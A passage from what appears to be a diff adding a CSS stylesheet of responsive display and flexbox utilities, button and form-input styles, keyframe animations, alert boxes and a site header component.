(min-width:0px) { + .d-sm-none { + display: none !important + } + .d-sm-inline { + display: inline !important + } + .d-sm-inline-block { + display: inline-block !important + } + .d-sm-block { + display: block !important + } + .d-sm-table { + display: table !important + } + .d-sm-table-row { + display: table-row !important + } + .d-sm-table-cell { + display: table-cell !important + } + .d-sm-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-sm-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width:0px) { + .d-md-none { + display: none !important + } + .d-md-inline { + display: inline !important + } + .d-md-inline-block { + display: inline-block !important + } + .d-md-block { + display: block !important + } + .d-md-table { + display: table !important + } + .d-md-table-row { + display: table-row !important + } + .d-md-table-cell { + display: table-cell !important + } + .d-md-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-md-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width:60rem) { + .d-lg-none { + display: none !important + } + .d-lg-inline { + display: inline !important + } + .d-lg-inline-block { + display: inline-block !important + } + .d-lg-block { + display: block !important + } + .d-lg-table { + display: table !important + } + .d-lg-table-row { + display: table-row !important + } + .d-lg-table-cell { + display: table-cell !important + } + .d-lg-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-lg-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width:90rem) { + .d-xl-none { + display: none !important + } + .d-xl-inline { + display: inline !important + } + .d-xl-inline-block { + display: inline-block !important + } + .d-xl-block { + display: block !important + } + .d-xl-table { + display: table !important + } + .d-xl-table-row { + display: table-row !important + } + .d-xl-table-cell { + display: table-cell !important + } + .d-xl-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-xl-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media print { + .d-print-none { + display: none !important + } + .d-print-inline { + display: inline !important + } + .d-print-inline-block { + display: inline-block !important + } + .d-print-block { + display: block !important + } + .d-print-table { + display: table !important + } + .d-print-table-row { + display: table-row !important + } + .d-print-table-cell { + display: table-cell !important + } + .d-print-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-print-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +.flex-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important +} + +.flex-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important +} + +.flex-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important +} + +.flex-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important +} + +.flex-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important +} + +.flex-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important +} + +.flex-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important +} + +.justify-content-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important +} + +.justify-content-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important +} + +.justify-content-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important +} + +.justify-content-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important +} + +.justify-content-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important +} + +.align-items-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important +} + +.align-items-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important +} + +.align-items-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important +} + +.align-items-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important +} + +.align-items-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important +} + +.align-content-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important +} + +.align-content-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important +} + +.align-content-center { + -ms-flex-line-pack: center !important; + align-content: center !important +} + +.align-content-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important +} + +.align-content-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important +} + +.align-content-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important +} + +.align-self-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important +} + +.align-self-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important +} + +.align-self-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important +} + +.align-self-center { + -ms-flex-item-align: center !important; + align-self: center !important +} + +.align-self-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important +} + +.align-self-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important +} + +@media (min-width:0px) { + .flex-sm-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + .flex-sm-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + .flex-sm-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + .flex-sm-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + .flex-sm-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + .flex-sm-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + .flex-sm-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + .justify-content-sm-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + .justify-content-sm-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + .justify-content-sm-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + .justify-content-sm-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + .justify-content-sm-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + .align-items-sm-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + .align-items-sm-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + .align-items-sm-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + .align-items-sm-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + .align-items-sm-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + .align-content-sm-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + .align-content-sm-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + .align-content-sm-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + .align-content-sm-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + .align-content-sm-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + .align-content-sm-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + .align-self-sm-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + .align-self-sm-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + .align-self-sm-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + .align-self-sm-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + .align-self-sm-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + .align-self-sm-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width:40rem) { + .flex-md-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + .flex-md-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + .flex-md-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + .flex-md-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + .flex-md-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + .flex-md-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + .flex-md-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + .justify-content-md-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + .justify-content-md-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + .justify-content-md-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + .justify-content-md-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + .justify-content-md-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + .align-items-md-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + .align-items-md-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + .align-items-md-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + .align-items-md-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + .align-items-md-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + .align-content-md-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + .align-content-md-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + .align-content-md-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + .align-content-md-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + .align-content-md-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + .align-content-md-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + .align-self-md-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + .align-self-md-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + .align-self-md-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + .align-self-md-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + .align-self-md-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + .align-self-md-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width:60rem) { + .flex-lg-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + .flex-lg-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + .flex-lg-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + .flex-lg-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + .flex-lg-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + .flex-lg-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + .flex-lg-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + .justify-content-lg-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + .justify-content-lg-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + .justify-content-lg-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + .justify-content-lg-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + .justify-content-lg-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + .align-items-lg-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + .align-items-lg-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + .align-items-lg-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + .align-items-lg-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + .align-items-lg-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + .align-content-lg-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + .align-content-lg-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + .align-content-lg-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + .align-content-lg-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + .align-content-lg-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + .align-content-lg-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + .align-self-lg-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + .align-self-lg-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + .align-self-lg-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + .align-self-lg-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + .align-self-lg-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + .align-self-lg-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width:90rem) { + .flex-xl-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + .flex-xl-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + .flex-xl-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + .flex-xl-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + .flex-xl-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + .flex-xl-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + .flex-xl-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + .justify-content-xl-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + .justify-content-xl-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + .justify-content-xl-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + .justify-content-xl-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + .justify-content-xl-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + .align-items-xl-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + .align-items-xl-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + .align-items-xl-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + .align-items-xl-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + .align-items-xl-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + .align-content-xl-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + .align-content-xl-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + .align-content-xl-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + .align-content-xl-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + .align-content-xl-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + .align-content-xl-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + .align-self-xl-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + .align-self-xl-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + .align-self-xl-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + .align-self-xl-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + .align-self-xl-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + .align-self-xl-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +.btn { + display: inline-block; + font-weight: 400; + text-align: center; + white-space: nowrap; + vertical-align: middle; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + border: none; + padding: .25rem .65rem; + height: 1.6rem; + line-height: 1rem; + font-size: .65rem; + border-radius: .2rem; + transition: color .3s ease-in-out, background-color .3s ease-in-out, border-color .3s ease-in-out; + -webkit-appearance: none; + box-sizing: border-box +} + +.btn-group { + display: inline-flex +} + +.btn-group>.btn { + border-radius: 0; + margin: 0 +} + +.btn-group>.btn:first-child { + border-top-left-radius: .2rem; + border-bottom-left-radius: .2rem +} + +.btn-group>.btn:last-child { + border-top-right-radius: .2rem; + border-bottom-right-radius: .2rem +} + +.btn-lg { + padding: .5rem .85rem; + font-size: .8rem; + line-height: 1rem; + border-radius: .24rem; + height: 2rem +} + +.btn-sm { + padding: .15rem .35rem; + font-size: .5rem; + height: 1.4rem; + border-radius: .16rem; + line-height: 1rem +} + +.btn:focus, +.btn:hover { + text-decoration: none +} + +.btn.btn-border-none, +.btn[class*=ub-bg-] { + border: none +} + +.btn.btn-border-none:hover, +.btn.btn-border-none:hover:not(.disabled), +.btn[class*=ub-bg-]:hover, +.btn[class*=ub-bg-]:hover:not(.disabled) { + border: none +} + +.btn.disabled, +.btn:disabled { + opacity: .65; + cursor: not-allowed +} + +.btn:not(:disabled):not(.disabled) { + cursor: pointer +} + +.btn:not(:disabled):not(.disabled).active, +.btn:not(:disabled):not(.disabled):active { + background-image: none +} + +a.btn.disabled, +fieldset:disabled a.btn { + pointer-events: none +} + +.btn { + color: var(--color-body-block); + background-color: var(--color-content-bg); + border: .05rem solid var(--color-body-line) +} + +.btn:hover:not(.disabled) { + color: var(--color-primary); + border: .05rem solid var(--color-primary) +} + +.btn-round { + border-radius: .8rem +} + +.btn-lg.btn-round { + border-radius: 1.2rem +} + +.btn-sm.btn-round { + border-radius: .7rem +} + +.btn-primary { + color: #fff; + background-color: var(--color-primary); + border-color: var(--color-primary) +} + +.btn-primary:hover:not(.disabled) { + color: #fff; + background-color: var(--color-primary-dark); + border-color: var(--color-primary-dark) +} + +.btn-primary.disabled, +.btn-primary:disabled { + color: #fff; + background-color: var(--color-primary) +} + +.btn-primary:not(:disabled):not(.disabled).active, +.btn-primary:not(:disabled):not(.disabled):active { + color: #fff; + background-color: var(--color-primary-dark) +} + +.btn-primary.gradient { + background-image: linear-gradient(45deg, var(--color-primary-dark), var(--color-primary-light)) +} + +.btn-primary-line { + color: var(--color-primary); + border: .05rem solid var(--color-primary); + background: 0 0 +} + +.btn-primary-line:hover:not(.disabled) { + color: #fff; + background-color: var(--color-primary) +} + +.btn-primary-line.disabled, +.btn-primary-line:disabled { + background-color: #f8f8f8 +} + +.btn-primary-line:not(:disabled):not(.disabled).active, +.btn-primary-line:not(:disabled):not(.disabled):active { + background-color: var(--color-primary) +} + +.btn-success { + color: #fff; + background-color: var(--color-success); + border-color: var(--color-success) +} + +.btn-success:hover:not(.disabled) { + color: #fff; + background-color: var(--color-success-dark); + border-color: var(--color-success-dark) +} + +.btn-success.disabled, +.btn-success:disabled { + color: #fff; + background-color: var(--color-success) +} + +.btn-success:not(:disabled):not(.disabled).active, +.btn-success:not(:disabled):not(.disabled):active { + color: #fff; + background-color: var(--color-success-dark) +} + +.btn-success.gradient { + background-image: linear-gradient(45deg, var(--color-success-dark), var(--color-success)) +} + +.btn-warning { + color: #fff; + background-color: var(--color-warning); + border-color: var(--color-warning) +} + +.btn-warning:hover:not(.disabled) { + color: #fff; + background-color: var(--color-warning-dark); + border-color: var(--color-warning-dark) +} + +.btn-warning.disabled, +.btn-warning:disabled { + color: #fff; + background-color: var(--color-warning) +} + +.btn-warning:not(:disabled):not(.disabled).active, +.btn-warning:not(:disabled):not(.disabled):active { + color: #fff; + background-color: var(--color-warning-dark) +} + +.btn-warning.gradient { + background-image: linear-gradient(45deg, var(--color-warning-dark), var(--color-warning)) +} + +.btn-danger { + color: #fff; + background-color: var(--color-danger); + border-color: var(--color-danger) +} + +.btn-danger:hover:not(.disabled) { + color: #fff; + background-color: var(--color-danger-dark); + border-color: var(--color-danger-dark) +} + +.btn-danger.disabled, +.btn-danger:disabled { + color: #fff; + background-color: var(--color-danger) +} + +.btn-danger:not(:disabled):not(.disabled).active, +.btn-danger:not(:disabled):not(.disabled):active { + color: #fff; + background-color: var(--color-danger-dark) +} + +.btn-danger.gradient { + background-image: linear-gradient(45deg, var(--color-danger-dark), var(--color-danger)) +} + +.btn-vip { + background-image: linear-gradient(90deg, #edd3b0 0, #ddb888 100%); + color: #805d2d; + border-color: #edd3b0 +} + +.btn-vip:active, +.btn-vip:hover, +.btn-vip:not(:disabled):not(.disabled):active { + background-image: linear-gradient(90deg, #ddb888 100%, #edd3b0 0); + color: #805d2d !important; + border-color: #edd3b0 !important +} + +.btn-block { + display: block; + width: 100%; + box-sizing: border-box +} + +input[type=button].btn-block, +input[type=reset].btn-block, +input[type=submit].btn-block { + width: 100% +} + +input, +select, +textarea { + box-sizing: border-box; + margin: 0; + border-radius: .15rem; + font: inherit; + color: inherit +} + +select { + text-transform: none +} + +optgroup { + font: inherit; + font-weight: 700 +} + +input::-moz-focus-inner { + border: 0; + padding: 0 +} + +input[type=checkbox], +input[type=radio] { + padding: 0 +} + +input[type=checkbox]:not(:disabled), +input[type=radio]:not(:disabled) { + cursor: pointer +} + +input:not([type]), +input[type=datetime], +input[type=email], +input[type=number], +input[type=password], +input[type=search], +input[type=tel], +input[type=text], +input[type=url], +textarea { + -webkit-appearance: none +} + +input[type=search]::-webkit-search-cancel-button, +input[type=search]::-webkit-search-decoration { + -webkit-appearance: none +} + +input[type=number]::-webkit-inner-spin-button, +input[type=number]::-webkit-outer-spin-button { + height: auto +} + +fieldset { + border: none; + margin: 0; + padding: 0 +} + +textarea { + overflow: auto; + vertical-align: top +} + +::-moz-placeholder { + opacity: 1 +} + +:invalid { + box-shadow: none +} + +input:not([type=radio]):not([type=checkbox]), +select { + vertical-align: middle +} + +input:not([type]), +input[type=color], +input[type=date], +input[type=datetime-local], +input[type=datetime], +input[type=email], +input[type=month], +input[type=number], +input[type=password], +input[type=search], +input[type=tel], +input[type=text], +input[type=time], +input[type=url], +input[type=week], +select, +textarea { + line-height: 1; + max-width: 100%; + padding: .2rem .3rem; + border: .05rem solid var(--color-body-line); + background: var(--color-input-light-bg); + color: var(--color-text) +} + +input:not([type]):focus, +input[type=color]:focus, +input[type=date]:focus, +input[type=datetime-local]:focus, +input[type=datetime]:focus, +input[type=email]:focus, +input[type=month]:focus, +input[type=number]:focus, +input[type=password]:focus, +input[type=search]:focus, +input[type=tel]:focus, +input[type=text]:focus, +input[type=time]:focus, +input[type=url]:focus, +input[type=week]:focus, +select:focus, +textarea:focus { + border-color: var(--color-primary-light); + outline: 0; + color: var(--color-text) +} + +input:not([type]):disabled, +input[type=color]:disabled, +input[type=date]:disabled, +input[type=datetime-local]:disabled, +input[type=datetime]:disabled, +input[type=email]:disabled, +input[type=month]:disabled, +input[type=number]:disabled, +input[type=password]:disabled, +input[type=search]:disabled, +input[type=tel]:disabled, +input[type=text]:disabled, +input[type=time]:disabled, +input[type=url]:disabled, +input[type=week]:disabled, +select:disabled, +textarea:disabled { + border-color: var(--color-body-line); + background-color: #f5f7fa; + color: #c4cfdb +} + +input[type=color]:read-only, +input[type=date]:read-only, +input[type=datetime-local]:read-only, +input[type=datetime]:read-only, +input[type=email]:read-only, +input[type=month]:read-only, +input[type=number]:read-only, +input[type=password]:read-only, +input[type=search]:read-only, +input[type=tel]:read-only, +input[type=text]:read-only, +input[type=time]:read-only, +input[type=url]:read-only, +input[type=week]:read-only, +textarea:read-only { + border-color: #ddd; + background-color: #f5f7fa; + color: #666 +} + +:-ms-input-placeholder { + color: #c4cfdb !important +} + +::-moz-placeholder { + color: #c4cfdb +} + +::-webkit-input-placeholder { + color: #c4cfdb +} + +:disabled:-ms-input-placeholder { + color: #c4cfdb !important +} + +:disabled::-moz-placeholder { + color: #c4cfdb +} + +:disabled::-webkit-input-placeholder { + color: #c4cfdb +} + +legend { + width: 100%; + border: 0; + padding: 0; + padding-bottom: .75rem; + font-size: .9rem; + line-height: 1.5rem +} + +legend:after { + content: ""; + display: block; + border-bottom: .05rem solid #ddd; + width: 100% +} + +select.success { + border-color: var(--color-success); + color: var(--color-success) +} + +select.warning { + border-color: var(--color-warning); + color: var(--color-warning) +} + +select.danger { + border-color: var(--color-danger); + color: var(--color-danger) +} + +input:not([type]).form, +input[type].form, +select.form, +textarea.form { + height: 1.6rem; + font-size: .65rem +} + +input:not([type]).form-lg, +input[type].form-lg, +select.form-lg, +textarea.form-lg { + height: 2rem; + padding: .6rem .3rem; + font-size: .8rem +} + +input:not([type]).form-sm, +input[type].form-sm, +select.form-sm, +textarea.form-sm { + height: 1.4rem; + padding: .15rem .15rem; + font-size: .5rem +} + +select[multiple], +select[size], +textarea { + height: auto +} + +input::-webkit-input-placeholder, +textarea::-webkit-input-placeholder { + color: var(--color-input-placeholder) +} + +input:-moz-placeholder, +textarea::-webkit-input-placeholder { + color: var(--color-input-placeholder) +} + +input::-moz-placeholder, +textarea::-webkit-input-placeholder { + color: var(--color-input-placeholder) +} + +input:-ms-input-placeholder, +textarea::-webkit-input-placeholder { + color: var(--color-input-placeholder) +} + +@keyframes animate-rotate { + 0% { + transform: rotate(0) + } + 50% { + transform: rotate(180deg) + } + 100% { + transform: rotate(360deg) + } +} + +.animate-rotate { + animation: animate-rotate 2s infinite linear +} + +@keyframes animate-pulse { + from { + transform: scale3d(1, 1, 1) + } + 50% { + transform: scale3d(1.05, 1.05, 1.05) + } + to { + transform: scale3d(1, 1, 1) + } +} + +.animate-pulse { + animation-name: animate-pulse +} + +@keyframes animate-swing { + 20% { + transform: rotate3d(0, 0, 1, 15deg) + } + 40% { + transform: rotate3d(0, 0, 1, -10deg) + } + 60% { + transform: rotate3d(0, 0, 1, 5deg) + } + 80% { + transform: rotate3d(0, 0, 1, -5deg) + } + to { + transform: rotate3d(0, 0, 1, 0deg) + } +} + +.animate-swing { + animation: animate-swing 1s infinite +} + +@keyframes animate-beat { + from { + transform: scale(1) + } + 40% { + transform: scale(1.05) + } + 80% { + transform: scale(1) + } + to { + transform: scale(1) + } +} + +.animate-beat { + animation: animate-beat 1s infinite +} + +.ub-alert { + margin-bottom: .5rem; + padding: .5rem; + background: #ebf7fd; + color: #2d7091; + border-radius: .2rem +} + +.ub-alert.success { + background: var(--color-success-light); + color: var(--color-success) +} + +.ub-alert.warning { + background: var(--color-warning-light); + color: var(--color-warning) +} + +.ub-alert.danger { + background: var(--color-danger-light); + color: var(--color-danger) +} + +.ub-alert>.ub-close:first-child { + float: right +} + +.ub-alert>.ub-close:first-child+* { + margin-top: 0 +} + +.ub-alert.lg { + padding: 1rem +} + +.ub-alert.lg>.ub-close:first-child { + margin: -.5rem -.5rem 0 0 +} + +.ub-header { + height: 3rem; + background-color: var(--color-content-bg) +} + +.ub-header.primary { + background: var(--color-primary) +} + +.ub-header.primary .menu a { + color: #eee +} + +.ub-header.primary .menu a.active, +.ub-header.primary .menu a:hover { + color: #fff +} + +.ub-header.primary .menu-toggle { + color: #fff +} + +.ub-header.transparent { + background-color: transparent +} + +.ub-header.transparent .menu-toggle { + color: #fff +} + +.ub-header.transparent .menu .item { + color: #eee +} + +.ub-header.transparent .menu .item:hover { + color: #fff +} + +.ub-header.transparent .menu .item.active { + color: #bbb +} + +.ub-header.lg { + padding: .5rem 0 +} + +.ub-header.lg .menu .item { + font-size: .9rem +} + +.ub-header.absolute { + position: absolute; + top: 0; + left: 0; + right: 0; + z-index: 2000 +} + +.ub-header .logo { + float: left; + display: block +} + +.ub-header .logo a { + line-height: 3rem; + height: 3rem; + display: block; + font-size: 1rem; + vertical-align: middle +} + +.ub-header .logo a img { + height: 3rem; + vertical-align: middle; + display: block +} + +.ub-header .logo a span { + vertical-align: middle; + display: block; + color: #666 +} + +.ub-header .menu { + float: right; + padding: .5rem 0 +} + +.ub-header .menu a { + display: inline-block; + line-height: 2rem; + color: #666; + padding: 0 .5rem; + margin-left: 1rem; + font-size: .7rem; + transition: linear all .2s +} + +.ub-header .menu a:hover { + color: #333; + transform: translateY(-.25rem) +} + +.ub-header .menu a.active { + color: var(--color-primary) +} + +.ub-header .menu-toggle { + display: none +} + +@media screen and (max-width:40rem) { + .ub-header.transparent { + background: 0 0 + } + .ub-header.transparent .menu .item { + color: #333 + } + .ub-header.transparent .menu .item:hover { + color: #333 + } + .ub-header.lg { + padding: 0 + } + .ub-header { + text-align: center; + height: 2.5rem + } + .ub-header .logo { + padding: 0 .25rem + } 